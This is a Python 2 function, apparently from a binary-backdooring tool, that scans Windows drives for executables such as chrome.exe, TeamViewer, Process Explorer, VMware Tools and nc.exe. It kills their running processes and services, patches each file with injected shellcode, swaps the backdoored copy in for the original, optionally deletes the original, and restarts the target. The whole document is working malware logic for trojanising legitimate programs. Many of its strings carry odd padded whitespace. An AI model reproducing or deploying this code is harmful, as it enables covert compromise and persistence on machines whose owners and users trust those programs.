'The injector module will hunt and injection shellcode into
targets that are in the list_of_targets dict.
Data format DICT: {process_name_to_backdoor :
[(\'dependencies to kill\', ),
\'service to kill\', restart=True/False],'

def injector(self):

    list_of_targets = {'chrome.exe': [('chrome.exe',), None, True], 'hamachi-2.exe': [('hamachi-2.exe',), 'Hamachi2Svc', True], 'tcpview.exe': [('tcpview.exe',), None, True], 'psexec.exe': [('psexec.exe',), 'PSEXESVC.exe', False], 'vncserver.exe': [('vncserver.exe',), 'vncserver', True], 'vmtoolsd.exe': [('vmtools.exe', 'vmtoolsd.exe'), 'VMTools', True], 'nc.exe': [('nc.exe',), None, False], 'Start    Tor    Browser.exe': [('Start    Tor    Browser.exe',), None, False], 'procexp.exe': [('procexp.exe', 'procexp64.exe'), None, True], 'procmon.exe': [('procmon.exe', 'procmon64.exe'), None, True], 'TeamViewer.exe': [('tv_x64.exe', 'tv_x32.exe'), None, True]}
    print '[*]    Beginning    injector    module'
    os_name = os.name
    if (os_name == 'nt'):
        if ('PROGRAMFILES(x86)' in os.environ):
            print '-You    have    a    64    bit    system'
            system_type = 64
        else:
            print '-You    have    a    32    bit    system'
            system_type = 32
    else:
        print 'This    works    only    on    windows.    :('
        sys.exit()
    winversion = platform.version()
    rootdir = os.path.splitdrive(sys.executable)[0]
    targetdirs = []
    excludedirs = []
    winXP2003x86targetdirs = [(rootdir + '\\')]
    winXP2003x86excludedirs = [(rootdir + '\\Windows\\'), (rootdir + '\\RECYCLER\\'), '\\VMWareDnD\\']
    vista7win82012x64targetdirs = [(rootdir + '\\')]
    vista7win82012x64excludedirs = [(rootdir + '\\Windows\\'), (rootdir + '\\RECYCLER\\'), '\\VMwareDnD\\']
    if ('5.0.' in winversion):
        print '-OS    is    2000'
        targetdirs = (targetdirs + winXP2003x86targetdirs)
        excludedirs = (excludedirs + winXP2003x86excludedirs)
    elif ('5.1.' in winversion):
        print '-OS    is    XP'
        if (system_type == 64):
            targetdirs.append((rootdir + '\\Program    Files    (x86)\\'))
            excludedirs.append(vista7win82012x64excludedirs)
        else:
            targetdirs = (targetdirs + winXP2003x86targetdirs)
            excludedirs = (excludedirs + winXP2003x86excludedirs)
    elif ('5.2.' in winversion):
        print '-OS    is    2003'
        if (system_type == 64):
            targetdirs.append((rootdir + '\\Program    Files    (x86)\\'))
            excludedirs.append(vista7win82012x64excludedirs)
        else:
            targetdirs = (targetdirs + winXP2003x86targetdirs)
            excludedirs = (excludedirs + winXP2003x86excludedirs)
    elif ('6.0.' in winversion):
        print '-OS    is    Vista/2008'
        if (system_type == 64):
            targetdirs = (targetdirs + vista7win82012x64targetdirs)
            excludedirs = (excludedirs + vista7win82012x64excludedirs)
        else:
            targetdirs.append((rootdir + '\\Program    Files\\'))
            excludedirs.append((rootdir + '\\Windows\\'))
    elif ('6.1.' in winversion):
        print '-OS    is    Win7/2008'
        if (system_type == 64):
            targetdirs = (targetdirs + vista7win82012x64targetdirs)
            excludedirs = (excludedirs + vista7win82012x64excludedirs)
        else:
            targetdirs.append((rootdir + '\\Program    Files\\'))
            excludedirs.append((rootdir + '\\Windows\\'))
    elif ('6.2.' in winversion):
        print '-OS    is    Win8/2012'
        targetdirs = (targetdirs + vista7win82012x64targetdirs)
        excludedirs = (excludedirs + vista7win82012x64excludedirs)
    filelist = set()
    exclude = False
    for path in targetdirs:
        for (root, subFolders, files) in os.walk(path):
            for directory in excludedirs:
                if (directory.lower() in root.lower()):
                    exclude = True
                    break
            if (exclude is False):
                for _file in files:
                    f = os.path.join(root, _file)
                    for (target, items) in list_of_targets.iteritems():
                        if (target.lower() == _file.lower()):
                            print '--    Found    the    following    file:', ((root + '\\') + _file)
                            filelist.add(f)
            exclude = False
    process_list = []
    all_process = os.popen('tasklist.exe')
    ap = all_process.readlines()
    all_process.close()
    ap.pop(0)
    ap.pop(0)
    ap.pop(0)
    for process in ap:
        process_list.append(process.split())
    for target in filelist:
        service_target = False
        running_proc = False
        filename = os.path.basename(target)
        for process in process_list:
            for (setprocess, items) in list_of_targets.iteritems():
                if (setprocess.lower() in target.lower()):
                    for item in items[0]:
                        if (item.lower() in [x.lower() for x in process]):
                            print '-    Killing    process:', item
                            try:
                                os.system(('taskkill    /F    /PID    %i' % int(process[1])))
                                running_proc = True
                            except Exception as e:
                                print str(e)
                    if (setprocess.lower() in [x.lower() for x in process]):
                        if (items[1] is not None):
                            print '-    Killing    Service:', items[1]
                            try:
                                os.system(('net    stop    %s' % items[1]))
                            except Exception as e:
                                print str(e)
                            service_target = True
        time.sleep(1)
        print ('*' * 50)
        self.FILE = target
        self.OUTPUT = os.path.basename((self.FILE + '.bd'))
        print 'self.OUTPUT', self.OUTPUT
        print '-    Backdooring:', self.FILE
        result = self.patch_pe()
        if result:
            pass
        else:
            continue
        shutil.copy2(self.FILE, (self.FILE + self.SUFFIX))
        os.chmod(self.FILE, ((stat.S_IRWXU | stat.S_IRWXG) | stat.S_IRWXO))
        time.sleep(1)
        try:
            os.unlink(self.FILE)
        except:
            print 'unlinking    error'
        time.sleep(0.5)
        try:
            shutil.copy2(self.OUTPUT, self.FILE)
        except:
            os.system('move    {0}    {1}'.format(self.FILE, self.OUTPUT))
        time.sleep(0.5)
        os.remove(self.OUTPUT)
        print '    -    The    original    file    {0}    has    been    renamed    to    {1}'.format(self.FILE, (self.FILE + self.SUFFIX))
        if (self.DELETE_ORIGINAL is True):
            print '!!Warning    Deleteing    Original    File!!'
            os.remove((self.FILE + self.SUFFIX))
        if (service_target is True):
            os.system(('net    start    %s' % list_of_targets[filename][1]))
        else:
            try:
                if ((list_of_targets[filename][2] is True) and (running_proc is True)):
                    subprocess.Popen([self.FILE])
                    print '-    Restarting:', self.FILE
                else:
                    print ('--    %s    was    not    found    online    -        not    restarting' % self.FILE)
            except:
                if ((list_of_targets[filename.lower()][2] is True) and (running_proc is True)):
                    subprocess.Popen([self.FILE])
                    print '-    Restarting:', self.FILE
                else:
                    print ('--    %s    was    not    found    online    -        not    restarting' % self.FILE)
